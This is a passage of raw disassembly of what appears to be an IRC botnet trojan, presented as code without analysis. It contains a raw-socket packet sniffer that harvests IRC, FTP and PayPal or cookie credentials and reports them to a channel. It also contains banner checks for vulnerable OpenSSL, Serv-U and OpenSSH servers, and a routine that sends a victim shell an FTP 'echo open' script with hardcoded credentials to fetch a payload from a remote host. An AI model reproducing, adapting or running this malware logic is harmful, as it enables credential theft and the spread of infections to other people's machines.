		cmp	[ebp+arg_0], 0
		jz	loc_4023C3
		push	[ebp+var_DC]
		call	sub_417174
		pop	ecx
		push	0
		nop
		call	near ptr 7C80C058h
sub_402368	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402822	proc near		; DATA XREF: sub_40F6F1+1E5Eo

var_102B4	= byte ptr -102B4h
var_102AB	= byte ptr -102ABh
var_102A8	= dword	ptr -102A8h
var_102A0	= dword	ptr -102A0h
var_10293	= byte ptr -10293h
var_1028C	= byte ptr -1028Ch
var_2B4		= byte ptr -2B4h
var_B4		= dword	ptr -0B4h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 102B4h
		call	sub_417B70
		mov	edx, [ebp+arg_0]
		push	esi
		push	edi
		push	1
		pop	eax
		mov	esi, edx
		push	25h
		lea	edi, [ebp+var_B4]
		pop	ecx
		mov	[ebp+var_8], eax
		rep movsd
		mov	[edx+90h], eax
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		call	sub_417430
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	esi
		call	dword_4413B8	; ntohs
		push	[ebp+var_B4]
		mov	[ebp+var_1A], ax
		call	sub_40AFAB
		pop	ecx
		push	eax
		call	dword_4413F8	; inet_addr
		push	esi
		push	3
		push	2
		mov	[ebp+var_18], eax
		call	dword_441438	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jnz	short loc_4028F7
		call	dword_44134C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_424D9C
		push	eax
		call	sub_4173AC
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_4028DA
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40DC10
		add	esp, 14h


loc_4028DA:				; CODE XREF: sub_402822+96j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40C4F7
		push	[ebp+var_30]
		call	sub_417174
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 7C80C058h


loc_4028F7:				; CODE XREF: sub_402822+76j
		mov	eax, [ebp+var_30]
		push	10h
		imul	eax, 234h
		mov	dword_446E1C[eax], edi
		lea	eax, [ebp+var_1C]
		push	eax
		push	edi
		call	dword_4413E4	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40297C
		call	dword_44134C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_424D58
		push	eax
		call	sub_4173AC
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_402958
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40DC10
		add	esp, 14h


loc_402958:				; CODE XREF: sub_402822+114j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40C4F7
		pop	ecx
		push	edi
		call	dword_441450	; closesocket
		push	[ebp+var_30]
		call	sub_417174
		pop	ecx
		push	esi
		nop
		call	near ptr 7C80C058h


loc_40297C:				; CODE XREF: sub_402822+F4j
		push	esi
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		push	esi
		push	esi
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	98000001h
		push	edi
		call	dword_441364	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4029FF
		call	dword_44134C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_424D10
		push	eax
		call	sub_4173AC
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_4029DB
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40DC10
		add	esp, 14h


loc_4029DB:				; CODE XREF: sub_402822+197j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40C4F7
		pop	ecx
		push	edi
		call	dword_441450	; closesocket
		push	[ebp+var_30]
		call	sub_417174
		pop	ecx
		push	esi
		nop
		call	near ptr 7C80C058h


loc_4029FF:				; CODE XREF: sub_402822+177j
		push	ebx
		mov	ebx, offset dword_424410


loc_402A05:				; CODE XREF: sub_402822+21Bj
					; sub_402822+22Dj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_102B4]
		push	edi
		push	esi
		push	eax
		call	sub_417430
		add	esp, 0Ch
		lea	eax, [ebp+var_102B4]
		push	esi
		push	edi
		push	eax
		push	[ebp+var_4]
		call	dword_4413D0	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_402B17
		cmp	[ebp+var_102AB], 6
		jnz	short loc_402A05
		mov	eax, [ebp+var_102A8]
		cmp	[ebp+var_10293], 18h
		mov	[ebp+var_C], eax
		jnz	short loc_402A05
		lea	eax, [ebp+var_1028C]
		push	offset aPsniff_0 ; "[PSNIFF]"
		push	eax
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402A05
		mov	eax, ebx
		xor	edi, edi
		test	eax, eax
		jz	short loc_402A05
		mov	[ebp+arg_0], ebx


loc_402A73:				; CODE XREF: sub_402822+26Cj
		push	eax
		lea	eax, [ebp+var_1028C]
		push	eax
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402A95
		inc	edi
		add	[ebp+arg_0], 18h
		mov	eax, [ebp+arg_0]
		jnz	short loc_402A73
		jmp	loc_402A05
; ---------------------------------------------------------------------------


loc_402A95:				; CODE XREF: sub_402822+262j
		lea	eax, [ebp+var_1028C]
		push	eax
		push	[ebp+var_102A0]
		call	dword_4412F4	; ntohs
		movzx	eax, ax
		push	eax
		push	[ebp+var_C]
		call	dword_441444	; inet_ntoa
		push	eax
		lea	eax, [edi+edi*2]
		mov	eax, dword_424424[eax*8]
		push	off_424400[eax*4]
		lea	eax, [ebp+var_2B4]
		push	offset unk_424CC0
		push	200h
		push	eax
		call	sub_41792A
		add	esp, 1Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_402B05
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40DC10
		add	esp, 14h


loc_402B05:				; CODE XREF: sub_402822+2C1j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40C4F7
		pop	ecx
		jmp	loc_402A05
; ---------------------------------------------------------------------------


loc_402B17:				; CODE XREF: sub_402822+20Ej
		call	dword_44134C	; WSAGetLastError
		push	eax
		push	offset unk_424C7C
		lea	eax, [ebp+var_2B4]
		push	200h
		push	eax
		call	sub_41792A
		add	esp, 10h
		cmp	[ebp+var_28], esi
		pop	ebx
		jnz	short loc_402B5D
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40DC10
		add	esp, 14h


loc_402B5D:				; CODE XREF: sub_402822+319j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40C4F7
		pop	ecx
		push	[ebp+var_4]
		call	dword_441450	; closesocket
		push	[ebp+var_30]
		call	sub_417174
		pop	ecx
		push	esi
		nop
		call	near ptr 7C80C058h
sub_402822	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_402B83	proc near		; CODE XREF: sub_402E92+20Cp
					; sub_402E92+232p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43C630, eax
		mov	eax, offset dword_43C630
		retn
sub_402B83	endp


; =============== S U B	R O U T	I N E =======================================



sub_402B92	proc near		; CODE XREF: sub_402E92+2B8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402BAC


loc_402BA8:				; CODE XREF: sub_402B92+29j
					; sub_402B92+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_402BAC:				; CODE XREF: sub_402B92+14j
		push	offset aSodoma_3 ; "##sodoma_3"
		push	esi
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BA8
		push	offset aPsniff_2 ; "[PSNIFF]:"
		push	esi
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BA8
		push	offset aPsniff_1 ; "PSNIFF//"
		push	esi
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BA8
		push	offset aJoin	; "JOIN	#"
		push	esi
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402BF4


loc_402BF0:				; CODE XREF: sub_402B92+71j
					; sub_402B92+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_402BF4:				; CODE XREF: sub_402B92+5Cj
		push	offset a302	; "302 "
		push	esi
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BF0
		push	offset a366	; "366 "
		push	esi
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BF0
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BF0
		push	offset aLogin_0	; ":!login"
		push	esi
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BF0
		push	offset aLogin	; ":!Login"
		push	esi
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BF0
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BF0
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BF0
		push	offset aIdent	; ":!ident"
		push	esi
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402BF0
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402BF0
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_402B92	endp


; =============== S U B	R O U T	I N E =======================================



sub_402CA9	proc near		; CODE XREF: sub_402E92+2F1p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402CC3


loc_402CBF:				; CODE XREF: sub_402CA9+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_402CC3:				; CODE XREF: sub_402CA9+14j
		push	offset aSodoma_3 ; "##sodoma_3"
		push	esi
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CBF
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402CE9


loc_402CE5:				; CODE XREF: sub_402CA9+4Fj
					; sub_402CA9+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_402CE9:				; CODE XREF: sub_402CA9+3Aj
		push	offset aNick_0	; "NICK	"
		push	esi
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CE5
		push	offset aOper	; "oper	"
		push	esi
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CE5
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_402CA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_402D1F	proc near		; CODE XREF: sub_402E92+327p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402D39


loc_402D35:				; CODE XREF: sub_402D1F+29j
					; sub_402D1F+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_402D39:				; CODE XREF: sub_402D1F+14j
		push	offset aSodoma_3 ; "##sodoma_3"
		push	esi
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D35
		push	offset aNick_0	; "NICK	"
		push	esi
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D35
		push	offset a220	; "220 "
		push	esi
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402D70


loc_402D6C:				; CODE XREF: sub_402D1F+60j
					; sub_402D1F+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_402D70:				; CODE XREF: sub_402D1F+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D6C
		push	offset aUser_2	; "USER	"
		push	esi
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D6C
		push	offset aPass_0	; "PASS	"
		push	esi
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_402D1F	endp


; =============== S U B	R O U T	I N E =======================================



sub_402DA6	proc near		; CODE XREF: sub_402E92+358p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402DC0


loc_402DBC:				; CODE XREF: sub_402DA6+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_402DC0:				; CODE XREF: sub_402DA6+14j
		push	offset aSodoma_3 ; "##sodoma_3"
		push	esi
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402DBC
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402DE6


loc_402DE2:				; CODE XREF: sub_402DA6+4Fj
					; sub_402DA6+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_402DE6:				; CODE XREF: sub_402DA6+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402DE2
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402DE2
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402DE2
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_402DA6	endp


; =============== S U B	R O U T	I N E =======================================



sub_402E2D	proc near		; CODE XREF: sub_402E92:loc_403250p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402E47


loc_402E43:				; CODE XREF: sub_402E2D+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_402E47:				; CODE XREF: sub_402E2D+14j
		push	offset aSodoma_3 ; "##sodoma_3"
		push	esi
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E43
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402E6D


loc_402E69:				; CODE XREF: sub_402E2D+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_402E6D:				; CODE XREF: sub_402E2D+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E69
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_402E2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402E92	proc near		; DATA XREF: sub_40F6F1+1FCBo

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_417B70
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4413CC	; gethostname
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_44143C	; gethostbyname
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_417490
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_441438	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_402F38
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_402F38:				; CODE XREF: sub_402E92+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4413E4	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402FA7
		call	dword_44134C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_424D58
		push	eax
		call	sub_4173AC
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_402F8A
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_40DC10
		add	esp, 14h


loc_402F8A:				; CODE XREF: sub_402E92+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_40C4F7
		push	[ebp+var_34]
		call	sub_417174
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 7C80C058h


loc_402FA7:				; CODE XREF: sub_402E92+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_441364	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40302D
		call	dword_44134C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_424D10
		push	eax
		call	sub_4173AC
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_403009
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_40DC10
		add	esp, 14h


loc_403009:				; CODE XREF: sub_402E92+155j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_40C4F7
		pop	ecx
		push	edi
		call	dword_441450	; closesocket
		push	[ebp+var_34]
		call	sub_417174
		pop	ecx
		push	ebx
		nop
		call	near ptr 7C80C058h


loc_40302D:				; CODE XREF: sub_402E92+135j
		mov	esi, 200h


loc_403032:				; CODE XREF: sub_402E92+1CFj
					; sub_402E92+1F4j ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_417430
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4413D0	; recv
		cmp	[ebp+var_113AF], 6
		jnz	short loc_403032
		push	[ebp+var_113A4]
		mov	edi, dword_4211F0
		call	edi	; ntohs
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; ntohs
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_403032
		cmp	[ebp+arg_0], 19h
		jz	short loc_403032
		cmp	edi, 6Eh
		jz	short loc_403032
		cmp	edi, 19h
		jz	short loc_403032
		push	[ebp+var_113AC]
		call	sub_402B83
		pop	ecx
		push	dword ptr [eax]
		nop
		call	near ptr 71AB3F41h
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset dword_42433C
		push	eax
		call	sub_4173AC
		push	[ebp+var_113A8]
		call	sub_402B83
		add	esp, 10h
		push	dword ptr [eax]
		nop
		call	near ptr 71AB3F41h
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset dword_42433C
		push	eax
		call	sub_4173AC
		lea	eax, [ebp+var_1138C]
		mov	[ebp+var_4], ebx
		push	eax
		call	sub_417AF0
		add	esp, 10h
		test	eax, eax
		jle	short loc_403130


loc_4030FC:				; CODE XREF: sub_402E92+29Cj
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+var_1138C], 0Dh
		lea	eax, [ebp+eax+var_1138C]
		jnz	short loc_403113
		mov	byte ptr [eax],	20h


loc_403113:				; CODE XREF: sub_402E92+27Cj
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_40311B
		mov	byte ptr [eax],	20h


loc_40311B:				; CODE XREF: sub_402E92+284j
		inc	[ebp+var_4]
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_417AF0
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_4030FC


loc_403130:				; CODE XREF: sub_402E92+268j
		cmp	[ebp+arg_0], 50h
		jz	loc_4031E3
		cmp	edi, 50h
		jz	loc_4031E3
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_402B92
		test	al, al
		pop	ecx
		jz	short loc_403177
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset dword_42505C
		jmp	loc_403212
; ---------------------------------------------------------------------------


loc_403177:				; CODE XREF: sub_402E92+2C0j
		cmp	edi, 50h
		jz	short loc_4031E3
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_402CA9
		test	al, al
		pop	ecx
		jz	short loc_4031AD
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_425018
		jmp	short loc_403212
; ---------------------------------------------------------------------------


loc_4031AD:				; CODE XREF: sub_402E92+2F9j
		cmp	edi, 50h
		jz	short loc_4031E3
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_402D1F
		test	al, al
		pop	ecx
		jz	short loc_4031E3
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_424FD4
		jmp	short loc_403212
; ---------------------------------------------------------------------------


loc_4031E3:				; CODE XREF: sub_402E92+2A2j
					; sub_402E92+2ABj ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_402DA6
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_403250
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_424F90


loc_403212:				; CODE XREF: sub_402E92+2E0j
					; sub_402E92+319j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_41792A
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_403032
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_40DC10
		add	esp, 14h
		jmp	loc_403032
; ---------------------------------------------------------------------------


loc_403250:				; CODE XREF: sub_402E92+367j
		call	sub_402E2D
		test	al, al
		pop	ecx
		jz	loc_403032
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_424F4C
		jmp	short loc_403212
sub_402E92	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40327E	proc near		; CODE XREF: sub_4033C9+440p

var_5A4		= byte ptr -5A4h
var_1A4		= byte ptr -1A4h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A4h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417430
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_14], 2
		push	eax
		nop
		call	near ptr 71AB2BF4h
		mov	[ebp+var_10], eax
		mov	ax, word_425980
		push	eax
		nop
		call	near ptr 71AB2B66h
		push	esi
		push	1
		push	2
		mov	[ebp+var_12], ax
		nop
		call	near ptr 71AB3B91h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jz	loc_40339E
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	edi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jz	loc_40339E
		push	esi
		lea	eax, [ebp+var_5A4]
		push	400h
		push	eax
		push	edi
		nop
		call	near ptr 71AB615Ah
		mov	esi, offset byte_42EDC4
		mov	ebx, 190h
		push	esi
		push	esi
		push	offset aArrapato ; "arrapato"
		push	offset aArrapao	; "arrapao"
		push	offset a4492	; "4492"
		push	offset dword_515634
		push	offset aEchoOpenSDEqEc ; "echo open %s %d >> eq&echo user %s %s	>"...
		lea	eax, [ebp+var_1A4]
		push	ebx
		push	eax
		call	sub_41792A
		add	esp, 24h
		lea	eax, [ebp+var_1A4]
		push	0
		push	eax
		call	sub_417AF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		push	edi
		mov	edi, dword_4211EC
		call	edi	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40339E
		push	1F4h
		nop
		call	near ptr 7C802442h
		push	esi
		push	offset dword_425A78
		lea	eax, [ebp+var_1A4]
		push	ebx
		push	eax
		call	sub_41792A
		add	esp, 10h
		lea	eax, [ebp+var_1A4]
		push	0
		push	eax
		call	sub_417AF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		push	[ebp+var_4]
		call	edi	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4033A2


loc_40339E:				; CODE XREF: sub_40327E+54j
					; sub_40327E+6Aj ...
		xor	al, al
		jmp	short loc_4033C4
; ---------------------------------------------------------------------------


loc_4033A2:				; CODE XREF: sub_40327E+11Ej
		push	0
		lea	eax, [ebp+var_5A4]
		push	400h
		push	eax
		push	[ebp+var_4]
		nop
		call	near ptr 71AB615Ah
		push	[ebp+var_4]
		nop
		call	near ptr 71AB9639h
		mov	al, 1


loc_4033C4:				; CODE XREF: sub_40327E+122j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40327E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4033C9	proc near		; CODE XREF: sub_40381E+11Bp
					; sub_40381E+13Dp

